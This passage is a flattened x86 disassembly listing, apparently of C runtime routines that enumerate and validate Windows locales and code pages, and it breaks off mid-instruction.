mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+arg_4] lea ecx, [ecx+0] loc_42D284: ; CODE XREF: sub_42D270+1Fj mov al, [edx] or al, al jz short loc_42D291 inc edx bts [esp+24h+var_24], eax jmp short loc_42D284 ; --------------------------------------------------------------------------- loc_42D291: ; CODE XREF: sub_42D270+18j mov esi, [ebp+arg_0] loc_42D294: ; CODE XREF: sub_42D270+2Fj mov al, [esi] or al, al jz short loc_42D2A4 inc esi bt [esp+24h+var_24], eax jnb short loc_42D294 lea eax, [esi-1] loc_42D2A4: ; CODE XREF: sub_42D270+28j add esp, 20h pop esi leave retn sub_42D270 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D2B0 proc near ; CODE XREF: sub_4271E0+D3p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 cmp dword_4DE228, 0 jnz short loc_42D2E2 call sub_42DD80 test eax, eax jz short loc_42D2D2 mov eax, dword_4E0398 mov [ebp+var_8], eax jmp short loc_42D2D9 ; --------------------------------------------------------------------------- loc_42D2D2: ; CODE XREF: sub_42D2B0+16j mov [ebp+var_8], offset sub_42DDD0 loc_42D2D9: ; CODE XREF: sub_42D2B0+20j mov ecx, [ebp+var_8] mov dword_4DE228, ecx loc_42D2E2: ; CODE XREF: sub_42D2B0+Dj cmp [ebp+arg_0], 0 jnz short loc_42D2F2 call sub_42DBD0 jmp loc_42D3BE ; --------------------------------------------------------------------------- loc_42D2F2: ; CODE XREF: sub_42D2B0+36j mov edx, [ebp+arg_0] mov dword_4DE218, edx cmp dword_4DE218, 0 jz short loc_42D324 mov eax, dword_4DE218 movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42D324 push offset dword_4DE218 push 40h push offset off_4480A0 call sub_42D4B0 add esp, 0Ch loc_42D324: ; CODE XREF: sub_42D2B0+52j ; sub_42D2B0+5Ej mov edx, [ebp+arg_0] add edx, 40h mov dword_4DE21C, edx cmp dword_4DE21C, 0 jz short loc_42D359 mov eax, dword_4DE21C movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42D359 push offset dword_4DE21C push 16h push offset off_447FE8 call sub_42D4B0 add esp, 0Ch loc_42D359: ; CODE XREF: sub_42D2B0+87j ; sub_42D2B0+93j mov dword_4DE220, 0 cmp dword_4DE218, 0 jz short loc_42D39D mov edx, dword_4DE218 movsx eax, byte ptr [edx] test eax, eax jz short loc_42D39D cmp dword_4DE21C, 0 jz short loc_42D396 mov ecx, dword_4DE21C movsx edx, byte ptr [ecx] test edx, edx jz short loc_42D396 call sub_42D540 jmp short loc_42D39B ; --------------------------------------------------------------------------- loc_42D396: ; CODE XREF: sub_42D2B0+D0j ; sub_42D2B0+DDj call sub_42D930 loc_42D39B: ; CODE XREF: sub_42D2B0+E4j jmp short loc_42D3BE ; --------------------------------------------------------------------------- loc_42D39D: ; CODE XREF: sub_42D2B0+BAj ; sub_42D2B0+C7j cmp dword_4DE21C, 0 jz short loc_42D3B9 mov eax, dword_4DE21C movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42D3B9 call sub_42DAD0 jmp short loc_42D3BE ; --------------------------------------------------------------------------- loc_42D3B9: ; CODE XREF: sub_42D2B0+F4j ; sub_42D2B0+100j call sub_42DBD0 loc_42D3BE: ; CODE XREF: sub_42D2B0+3Dj ; sub_42D2B0:loc_42D39Bj ... cmp dword_4DE220, 0 jnz short loc_42D3CE xor eax, eax jmp loc_42D4AC ; --------------------------------------------------------------------------- loc_42D3CE: ; CODE XREF: sub_42D2B0+115j mov edx, [ebp+arg_0] add edx, 80h push edx call sub_42DC00 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42D3FC mov eax, [ebp+var_4] and eax, 0FFFFh push eax call dword_4E02F0 ; IsValidCodePage test eax, eax jnz short loc_42D403 loc_42D3FC: ; CODE XREF: sub_42D2B0+137j xor eax, eax jmp loc_42D4AC ; --------------------------------------------------------------------------- loc_42D403: ; CODE XREF: sub_42D2B0+14Aj push 1 mov ecx, dword_4DE208 push ecx call dword_4E02F4 ; IsValidLocale test eax, eax jnz short loc_42D41D xor eax, eax jmp loc_42D4AC ; --------------------------------------------------------------------------- loc_42D41D: ; CODE XREF: sub_42D2B0+164j cmp [ebp+arg_4], 0 jz short loc_42D448 mov edx, [ebp+arg_4] mov ax, word ptr dword_4DE208 mov [edx], ax mov ecx, [ebp+arg_4] mov dx, word ptr dword_4DE224 mov [ecx+2], dx mov eax, [ebp+arg_4] mov cx, word ptr [ebp+var_4] mov [eax+4], cx loc_42D448: ; CODE XREF: sub_42D2B0+171j cmp [ebp+arg_8], 0 jz short loc_42D4A7 push 40h mov edx, [ebp+arg_8] push edx push 1001h mov eax, dword_4DE208 push eax call dword_4DE228 test eax, eax jnz short loc_42D46D xor eax, eax jmp short loc_42D4AC ; --------------------------------------------------------------------------- loc_42D46D: ; CODE XREF: sub_42D2B0+1B7j push 40h mov ecx, [ebp+arg_8] add ecx, 40h push ecx push 1002h mov edx, dword_4DE224 push edx call dword_4DE228 test eax, eax jnz short loc_42D490 xor eax, eax jmp short loc_42D4AC ; --------------------------------------------------------------------------- loc_42D490: ; CODE XREF: sub_42D2B0+1DAj push 0Ah mov eax, [ebp+arg_8] add eax, 80h push eax mov ecx, [ebp+var_4] push ecx call sub_428B70 add esp, 0Ch loc_42D4A7: ; CODE XREF: sub_42D2B0+19Cj mov eax, 1 loc_42D4AC: ; CODE XREF: sub_42D2B0+119j ; sub_42D2B0+14Ej ... mov esp, ebp pop ebp retn sub_42D2B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D4B0 proc near ; CODE XREF: sub_42D2B0+6Cp ; sub_42D2B0+A1p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 1 mov [ebp+var_C], 0 loc_42D4C4: ; CODE XREF: sub_42D4B0:loc_42D52Cj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jg short loc_42D52E cmp [ebp+var_8], 0 jz short loc_42D52E mov eax, [ebp+var_C] add eax, [ebp+arg_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov eax, [edx+ecx*8] push eax mov ecx, [ebp+arg_8] mov edx, [ecx] push edx call sub_431210 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_42D512 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*8+4] mov eax, [ebp+arg_8] mov [eax], edx jmp short loc_42D52C ; --------------------------------------------------------------------------- loc_42D512: ; CODE XREF: sub_42D4B0+4Fj cmp [ebp+var_8], 0 jge short loc_42D523 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+arg_4], ecx jmp short loc_42D52C ; --------------------------------------------------------------------------- loc_42D523: ; CODE XREF: sub_42D4B0+66j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_C], edx loc_42D52C: ; CODE XREF: sub_42D4B0+60j ; sub_42D4B0+71j jmp short loc_42D4C4 ; --------------------------------------------------------------------------- loc_42D52E: ; CODE XREF: sub_42D4B0+1Aj ; sub_42D4B0+20j mov esp, ebp pop ebp retn sub_42D4B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D540 proc near ; CODE XREF: sub_42D2B0+DFp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, dword_4DE218 push eax call sub_414EC0 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_4DE214, ecx mov edx, dword_4DE21C push edx call sub_414EC0 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_4DE20C, ecx mov dword_4DE208, 0 cmp dword_4DE214, 0 jz short loc_42D599 mov [ebp+var_4], 2 jmp short loc_42D5AB ; --------------------------------------------------------------------------- loc_42D599: ; CODE XREF: sub_42D540+4Ej mov edx, dword_4DE218 push edx call sub_42DFE0 add esp, 4 mov [ebp+var_4], eax loc_42D5AB: ; CODE XREF: sub_42D540+57j mov eax, [ebp+var_4] mov dword_4DE210, eax push 1 push offset sub_42D600 call dword_4E02EC ; EnumSystemLocalesA mov ecx, dword_4DE220 and ecx, 100h test ecx, ecx jz short loc_42D5EC mov edx, dword_4DE220 and edx, 200h test edx, edx jz short loc_42D5EC mov eax, dword_4DE220 and eax, 7 test eax, eax jnz short loc_42D5F6 loc_42D5EC: ; CODE XREF: sub_42D540+8Ej ; sub_42D540+9Ej mov dword_4DE220, 0 loc_42D5F6: ; CODE XREF: sub_42D540+AAj mov esp, ebp pop ebp retn sub_42D540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D600 proc near ; DATA XREF: sub_42D540+75o var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_42DF60 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, dword_4DE20C neg edx sbb edx, edx and edx, 0FFFFF005h add edx, 1002h push edx mov eax, [ebp+var_7C] push eax call dword_4DE228 test eax, eax jnz short loc_42D654 mov dword_4DE220, 0 mov eax, 1 jmp loc_42D91E ; --------------------------------------------------------------------------- loc_42D654: ; CODE XREF: sub_42D600+3Ej lea ecx, [ebp+var_78] push ecx mov edx, dword_4DE21C push edx call sub_431210 add esp, 8 test eax, eax jnz loc_42D78F push 78h lea eax, [ebp+var_78] push eax mov ecx, dword_4DE214 neg ecx sbb ecx, ecx and ecx, 0FFFFF002h add ecx, 1001h push ecx mov edx, [ebp+var_7C] push edx call dword_4DE228 test eax, eax jnz short loc_42D6AE mov dword_4DE220, 0 mov eax, 1 jmp loc_42D91E ; --------------------------------------------------------------------------- loc_42D6AE: ; CODE XREF: sub_42D600+98j lea eax, [ebp+var_78] push eax mov ecx, dword_4DE218 push ecx call sub_431210 add esp, 8 test eax, eax jnz short loc_42D6F0 mov edx, dword_4DE220 or edx, 304h mov dword_4DE220, edx mov eax, [ebp+var_7C] mov dword_4DE224, eax mov ecx, dword_4DE224 mov dword_4DE208, ecx jmp loc_42D78F ; --------------------------------------------------------------------------- loc_42D6F0: ; CODE XREF: sub_42D600+C3j mov edx, dword_4DE220 and edx, 2 test edx, edx jnz loc_42D78F cmp dword_4DE210, 0 jz short loc_42D75D mov eax, dword_4DE210 push eax lea ecx, [ebp+var_78] push ecx mov edx, dword_4DE218 push edx call sub_4312E0 add esp, 0Ch test eax, eax jnz short loc_42D75D mov eax, dword_4DE220 or al, 2 mov dword_4DE220, eax mov ecx, [ebp+var_7C] mov dword_4DE224, ecx mov edx, dword_4DE218 push edx call sub_414EC0 add esp, 4 cmp eax, dword_4DE210 jnz short loc_42D75B mov eax, [ebp+var_7C] mov dword_4DE208, eax loc_42D75B: ; CODE XREF: sub_42D600+151j jmp short loc_42D78F ; --------------------------------------------------------------------------- loc_42D75D: ; CODE XREF: sub_42D600+108j ; sub_42D600+125j mov ecx, dword_4DE220 and ecx, 1 test ecx, ecx jnz short loc_42D78F mov edx, [ebp+var_7C] push edx call sub_42DCA0 add esp, 4 test eax, eax jz short loc_42D78F mov eax, dword_4DE220 or al, 1 mov dword_4DE220, eax mov ecx, [ebp+var_7C] mov dword_4DE224, ecx loc_42D78F: ; CODE XREF: sub_42D600+69j ; sub_42D600+EBj ... mov edx, dword_4DE220 and edx, 300h cmp edx, 300h jz loc_42D911 push 78h lea eax, [ebp+var_78] push eax mov ecx, dword_4DE214 neg ecx sbb ecx, ecx and ecx, 0FFFFF002h add ecx, 1001h push ecx mov edx, [ebp+var_7C] push edx call dword_4DE228 test eax, eax jnz short loc_42D7E6 mov dword_4DE220, 0 mov eax, 1 jmp loc_42D91E ; --------------------------------------------------------------------------- loc_42D7E6: ; CODE XREF: sub_42D600+1D0j lea eax, [ebp+var_78] push eax mov ecx, dword_4DE218 push ecx call sub_431210 add esp, 8 test eax, eax jnz loc_42D8B0 mov edx, dword_4DE220 or dh, 2 mov dword_4DE220, edx cmp dword_4DE214, 0 jz short loc_42D83A mov eax, dword_4DE220 or ah, 1 mov dword_4DE220, eax cmp dword_4DE208, 0 jnz short loc_42D838 mov ecx, [ebp+var_7C] mov dword_4DE208, ecx loc_42D838: ; CODE XREF: sub_42D600+22Dj jmp short loc_42D8AE ; --------------------------------------------------------------------------- loc_42D83A: ; CODE XREF: sub_42D600+217j cmp dword_4DE210, 0 jz short loc_42D88F mov edx, dword_4DE218 push edx call sub_414EC0 add esp, 4 cmp eax, dword_4DE210 jnz short loc_42D88F push 1 mov eax, [ebp+var_7C] push eax call sub_42DCF0 add esp, 8 test eax, eax jz short loc_42D88D mov ecx, dword_4DE220 or ch, 1 mov dword_4DE220, ecx cmp dword_4DE208, 0 jnz short loc_42D88D mov edx, [ebp+var_7C] mov dword_4DE208, edx loc_42D88D: ; CODE XREF: sub_42D600+26Aj ; sub_42D600+282j jmp short loc_42D8AE ; --------------------------------------------------------------------------- loc_42D88F: ; CODE XREF: sub_42D600+241j ; sub_42D600+258j mov eax, dword_4DE220 or ah, 1 mov dword_4DE220, eax cmp dword_4DE208, 0 jnz short loc_42D8AE mov ecx, [ebp+var_7C] mov dword_4DE208, ecx loc_42D8AE: ; CODE XREF: sub_42D600:loc_42D838j ; sub_42D600:loc_42D88Dj ... jmp short loc_42D911 ; --------------------------------------------------------------------------- loc_42D8B0: ; CODE XREF: sub_42D600+1FBj cmp dword_4DE214, 0 jnz short loc_42D911 cmp dword_4DE210, 0 jz short loc_42D911 mov edx, dword_4DE210 push edx lea eax, [ebp+var_78] push eax mov ecx, dword_4DE218 push ecx call sub_4312E0 add esp, 0Ch test eax, eax jnz short loc_42D911 push 0 mov edx, [ebp+var_7C] push edx call sub_42DCF0 add esp, 8 test eax, eax jz short loc_42D911 mov eax, dword_4DE220 or ah, 1 mov dword_4DE220, eax cmp dword_4DE208, 0 jnz short loc_42D911 mov ecx, [ebp+var_7C] mov dword_4DE208, ecx loc_42D911: ; CODE XREF: sub_42D600+1A1j ; sub_42D600:loc_42D8AEj ... mov eax, dword_4DE220 and eax, 4 neg eax sbb eax, eax inc eax loc_42D91E: ; CODE XREF: sub_42D600+4Fj ; sub_42D600+A9j ... mov esp, ebp pop ebp retn 4 sub_42D600 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D930 proc near ; CODE XREF: sub_42D2B0:loc_42D396p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, dword_4DE218 push eax call sub_414EC0 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_4DE214, ecx cmp dword_4DE214, 0 jz short loc_42D962 mov [ebp+var_4], 2 jmp short loc_42D974 ; --------------------------------------------------------------------------- loc_42D962: ; CODE XREF: sub_42D930+27j mov edx, dword_4DE218 push edx call sub_42DFE0 add esp, 4 mov [ebp+var_4], eax loc_42D974: ; CODE XREF: sub_42D930+30j mov eax, [ebp+var_4] mov dword_4DE210, eax push 1 push offset sub_42D9B0 call dword_4E02EC ; EnumSystemLocalesA mov ecx, dword_4DE220 and ecx, 4 test ecx, ecx jnz short loc_42D9A0 mov dword_4DE220, 0 loc_42D9A0: ; CODE XREF: sub_42D930+64j mov esp, ebp pop ebp retn sub_42D930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D9B0 proc near ; DATA XREF: sub_42D930+4Eo var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_42DF60 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, dword_4DE214 neg edx sbb edx, edx and edx, 0FFFFF002h add edx, 1001h push edx mov eax, [ebp+var_7C] push eax call dword_4DE228 test eax, eax jnz short loc_42DA04 mov dword_4DE220, 0 mov eax, 1 jmp loc_42DAC9 ; --------------------------------------------------------------------------- loc_42DA04: ; CODE XREF: sub_42D9B0+3Ej lea ecx, [ebp+var_78] push ecx mov edx, dword_4DE218 push edx call sub_431210 add esp, 8 test eax, eax jnz short loc_42DA59 cmp dword_4DE214, 0 jnz short loc_42DA36 push 1 mov eax, [ebp+var_7C] push eax call sub_42DCF0 add esp, 8 test eax, eax jz short loc_42DA57 loc_42DA36: ; CODE XREF: sub_42D9B0+72j mov ecx, [ebp+var_7C] mov dword_4DE224, ecx mov edx, dword_4DE224 mov dword_4DE208, edx mov eax, dword_4DE220 or al, 4 mov dword_4DE220, eax loc_42DA57: ; CODE XREF: sub_42D9B0+84j jmp short loc_42DABC ; --------------------------------------------------------------------------- loc_42DA59: ; CODE XREF: sub_42D9B0+69j cmp dword_4DE214, 0 jnz short loc_42DABC cmp dword_4DE210, 0 jz short loc_42DABC mov ecx, dword_4DE210 push ecx lea edx, [ebp+var_78] push edx mov eax, dword_4DE218 push eax call sub_4312E0 add esp, 0Ch test eax, eax jnz short loc_42DABC push 0 mov ecx, [ebp+var_7C] push ecx call sub_42DCF0 add esp, 8 test eax, eax jz short loc_42DABC mov edx, [ebp+var_7C] mov dword_4DE224, edx mov eax, dword_4DE224 mov dword_4DE208, eax mov ecx, dword_4DE220 or ecx, 4 mov dword_4DE220, ecx loc_42DABC: ; CODE XREF: sub_42D9B0:loc_42DA57j ; sub_42D9B0+B0j ... mov eax, dword_4DE220 and eax, 4 neg eax sbb eax, eax inc eax loc_42DAC9: ; CODE XREF: sub_42D9B0+4Fj mov esp, ebp pop ebp retn 4 sub_42D9B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DAD0 proc near ; CODE XREF: sub_42D2B0+102p push ebp mov ebp, esp mov eax, dword_4DE21C push eax call sub_414EC0 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_4DE20C, ecx push 1 push offset sub_42DB20 call dword_4E02EC ; EnumSystemLocalesA mov edx, dword_4DE220 and edx, 4 test edx, edx jnz short loc_42DB13 mov dword_4DE220, 0 loc_42DB13: ; CODE XREF: sub_42DAD0+37j pop ebp retn sub_42DAD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DB20 proc near ; DATA XREF: sub_42DAD0+21o var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_42DF60 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, dword_4DE20C neg edx sbb edx, edx and edx, 0FFFFF005h add edx, 1002h push edx mov eax, [ebp+var_7C] push eax call dword_4DE228 test eax, eax jnz short loc_42DB71 mov dword_4DE220, 0 mov eax, 1 jmp short loc_42DBC6 ; --------------------------------------------------------------------------- loc_42DB71: ; CODE XREF: sub_42DB20+3Ej lea ecx, [ebp+var_78] push ecx mov edx, dword_4DE21C push edx call sub_431210 add esp, 8 test eax, eax jnz short loc_42DBB9 mov eax, [ebp+var_7C] push eax call sub_42DCA0 add esp, 4 test eax, eax jz short loc_42DBB9 mov ecx, [ebp+var_7C] mov dword_4DE224, ecx mov edx, dword_4DE224 mov dword_4DE208, edx mov eax, dword_4DE220 or al, 4 mov dword_4DE220, eax loc_42DBB9: ; CODE XREF: sub_42DB20+66j ; sub_42DB20+76j mov eax, dword_4DE220 and eax, 4 neg eax sbb eax, eax inc eax loc_42DBC6: ; CODE XREF: sub_42DB20+4Fj mov esp, ebp pop ebp retn 4 sub_42DB20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DBD0 proc near ; CODE XREF: sub_42D2B0+38p ; sub_42D2B0:loc_42D3B9p push ebp mov ebp, esp mov eax, dword_4DE220 or eax, 104h mov dword_4DE220, eax call dword_4E02E8 ; GetUserDefaultLCID mov dword_4DE224, eax mov ecx, dword_4DE224 mov dword_4DE208, ecx pop ebp retn sub_42DBD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DC00 proc near ; CODE XREF: sub_42D2B0+128p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jz short loc_42DC2B mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42DC2B push offset aAcp ; "ACP" mov edx, [ebp+arg_0] push edx call sub_418A30 add esp, 8 test eax, eax jnz short loc_42DC53 loc_42DC2B: ; CODE XREF: sub_42DC00+Aj ; sub_42DC00+14j push 8 lea eax, [ebp+var_8] push eax push 1004h mov ecx, dword_4DE224 push ecx call dword_4DE228 test eax, eax jnz short loc_42DC4B xor eax, eax jmp short loc_42DC97 ; --------------------------------------------------------------------------- loc_42DC4B: ; CODE XREF: sub_42DC00+45j lea edx, [ebp+var_8] mov [ebp+arg_0], edx jmp short loc_42DC8B ; --------------------------------------------------------------------------- loc_42DC53: ; CODE XREF: sub_42DC00+29j push offset aOcp ; "OCP" mov eax, [ebp+arg_0] push eax call sub_418A30 add esp, 8 test eax, eax jnz short loc_42DC8B push 8 lea ecx, [ebp+var_8] push ecx push 0Bh mov edx, dword_4DE224 push edx call dword_4DE228 test eax, eax jnz short loc_42DC85 xor eax, eax jmp short loc_42DC97 ; --------------------------------------------------------------------------- loc_42DC85: ; CODE XREF: sub_42DC00+7Fj lea eax, [ebp+var_8] mov [ebp+arg_0], eax loc_42DC8B: ; CODE XREF: sub_42DC00+51j ; sub_42DC00+66j mov ecx, [ebp+arg_0] push ecx call sub_417860 add esp, 4 loc_42DC97: ; CODE XREF: sub_42DC00+49j ; sub_42DC00+83j mov esp, ebp pop ebp retn sub_42DC00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DCA0 proc near ; CODE XREF: sub_42D600+16Ep ; sub_42DB20+6Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 8 push ebp mov ebp, esp sub esp, 8 mov ax, [ebp+arg_0] mov word ptr [ebp+var_4], ax mov [ebp+var_8], 0 jmp short loc_42DCC0 ; --------------------------------------------------------------------------- loc_42DCB7: ; CODE XREF: sub_42DCA0:loc_42DCE4j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_42DCC0: ; CODE XREF: sub_42DCA0+15j cmp [ebp+var_8], 0Ah jnb short loc_42DCE6 mov edx, [ebp+var_4] and edx, 0FFFFh mov eax, [ebp+var_8] xor ecx, ecx mov cx, word_447FD4[eax*2] cmp edx, ecx jnz short loc_42DCE4 xor eax, eax jmp short loc_42DCEB ; --------------------------------------------------------------------------- loc_42DCE4: ; CODE XREF: sub_42DCA0+3Ej jmp short loc_42DCB7 ; --------------------------------------------------------------------------- loc_42DCE6: ; CODE XREF: sub_42DCA0+24j mov eax, 1 loc_42DCEB: ; CODE XREF: sub_42DCA0+42j mov esp, ebp pop ebp retn sub_42DCA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DCF0 proc near ; CODE XREF: sub_42D600+260p ; sub_42D600+2E6p ... var_7C = byte ptr -7Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7Ch push esi mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 3FFh and eax, 0FFFFh or ah, 4 and eax, 0FFFFh mov [ebp+var_4], eax push 78h lea ecx, [ebp+var_7C] push ecx push 1 mov edx, [ebp+var_4] push edx call dword_4DE228 test eax, eax jnz short loc_42DD2E xor eax, eax jmp short loc_42DD72 ; --------------------------------------------------------------------------- loc_42DD2E: ; CODE XREF: sub_42DCF0+38j lea eax, [ebp+var_7C] push eax call sub_42DF60 add esp, 4 cmp [ebp+arg_0], eax jz short loc_42DD6D cmp [ebp+arg_4], 0 jz short loc_42DD6D mov ecx, dword_4DE218 push ecx call sub_42DFE0 add esp, 4 mov esi, eax mov edx, dword_4DE218 push edx call sub_414EC0 add esp, 4 cmp esi, eax jnz short loc_42DD6D xor eax, eax jmp short loc_42DD72 ; --------------------------------------------------------------------------- loc_42DD6D: ; CODE XREF: sub_42DCF0+4Dj ; sub_42DCF0+53j ... mov eax, 1 loc_42DD72: ; CODE XREF: sub_42DCF0+3Cj ; sub_42DCF0+7Bj pop esi mov esp, ebp pop ebp retn sub_42DCF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DD80 proc near ; CODE XREF: sub_42D2B0+Fp var_98 = dword ptr -98h var_94 = dword ptr -94h var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 98h mov [ebp+var_94], 94h lea eax, [ebp+var_94] push eax call dword_4E039C ; GetVersionExA test eax, eax jz short loc_42DDB9 cmp [ebp+var_84], 2 jnz short loc_42DDB9 mov [ebp+var_98], 1 jmp short loc_42DDC3 ; --------------------------------------------------------------------------- loc_42DDB9: ; CODE XREF: sub_42DD80+22j ; sub_42DD80+2Bj mov [ebp+var_98], 0 loc_42DDC3: ; CODE XREF: sub_42DD80+37j mov eax, [ebp+var_98] mov esp, ebp pop ebp retn sub_42DD80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DDD0 proc near ; DATA XREF: sub_42D2B0:loc_42D2D2o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h mov [ebp+var_10], 0 mov [ebp+var_4], 1Ah mov [ebp+var_8], 0 loc_42DDEB: ; CODE XREF: sub_42DDD0:loc_42DF33j mov eax, [ebp+var_10] cmp eax, [ebp+var_4] jg loc_42DF38 mov eax, [ebp+var_10] add eax, [ebp+var_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] imul ecx, 2Ch mov edx, [ebp+arg_0] cmp edx, dword_447B30[ecx] jnz loc_42DF0E mov eax, [ebp+arg_4] mov [ebp+var_14], eax cmp [ebp+var_14], 0Bh ja short loc_42DE47 cmp [ebp+var_14], 0Bh jz loc_42DEB9 cmp [ebp+var_14], 1 jz short loc_42DE64 cmp [ebp+var_14], 3 jz short loc_42DE86 cmp [ebp+var_14], 7 jz short loc_42DEA8 jmp loc_42DED8 ; --------------------------------------------------------------------------- loc_42DE47: ; CODE XREF: sub_42DDD0+54j cmp [ebp+var_14], 1001h jz short loc_42DE75 cmp [ebp+var_14], 1002h jz short loc_42DE97 cmp [ebp+var_14], 1004h jz short loc_42DECA jmp short loc_42DED8 ; --------------------------------------------------------------------------- loc_42DE64: ; CODE XREF: sub_42DDD0+64j mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset a040a ; "040a" mov [ebp+var_8], ecx jmp short loc_42DED8 ; --------------------------------------------------------------------------- loc_42DE75: ; CODE XREF: sub_42DDD0+7Ej mov edx, [ebp+var_C] imul edx, 2Ch mov eax, off_447B3C[edx] mov [ebp+var_8], eax jmp short loc_42DED8 ; --------------------------------------------------------------------------- loc_42DE86: ; CODE XREF: sub_42DDD0+6Aj mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset dword_447B40 mov [ebp+var_8], ecx jmp short loc_42DED8 ; --------------------------------------------------------------------------- loc_42DE97: ; CODE XREF: sub_42DDD0+87j mov edx, [ebp+var_C] imul edx, 2Ch mov eax, off_447B44[edx] mov [ebp+var_8], eax jmp short loc_42DED8 ; --------------------------------------------------------------------------- loc_42DEA8: ; CODE XREF: sub_42DDD0+70j mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset dword_447B48 mov [ebp+var_8], ecx jmp short loc_42DED8 ; --------------------------------------------------------------------------- loc_42DEB9: ; CODE XREF: sub_42DDD0+5Aj mov edx, [ebp+var_C] imul edx, 2Ch add edx, offset dword_447B4C mov [ebp+var_8], edx jmp short loc_42DED8 ; --------------------------------------------------------------------------- loc_42DECA: ; CODE XREF: sub_42DDD0+90j mov eax, [ebp+var_C] imul eax, 2Ch add eax, offset a1252 ; "1252" mov [ebp+var_8], eax loc_42DED8: ; CODE XREF: sub_42DDD0+72j ; sub_42DDD0+92j ... cmp [ebp+var_8], 0 jz short loc_42DEE4 cmp [ebp+arg_C], 1 jge short loc_42DEE6 loc_42DEE4: ; CODE XREF: sub_42DDD0+10Cj jmp short loc_42DF38 ; --------------------------------------------------------------------------- loc_42DEE6: ; CODE XREF: sub_42DDD0+112j mov ecx, [ebp+arg_C] sub ecx, 1 push ecx mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_8] push eax call sub_417760 add esp, 0Ch mov ecx, [ebp+arg_8] add ecx, [ebp+arg_C] mov byte ptr [ecx-1], 0 mov eax, 1 jmp short loc_42DF4E ; --------------------------------------------------------------------------- loc_42DF0E: ; CODE XREF: sub_42DDD0+44j mov edx, 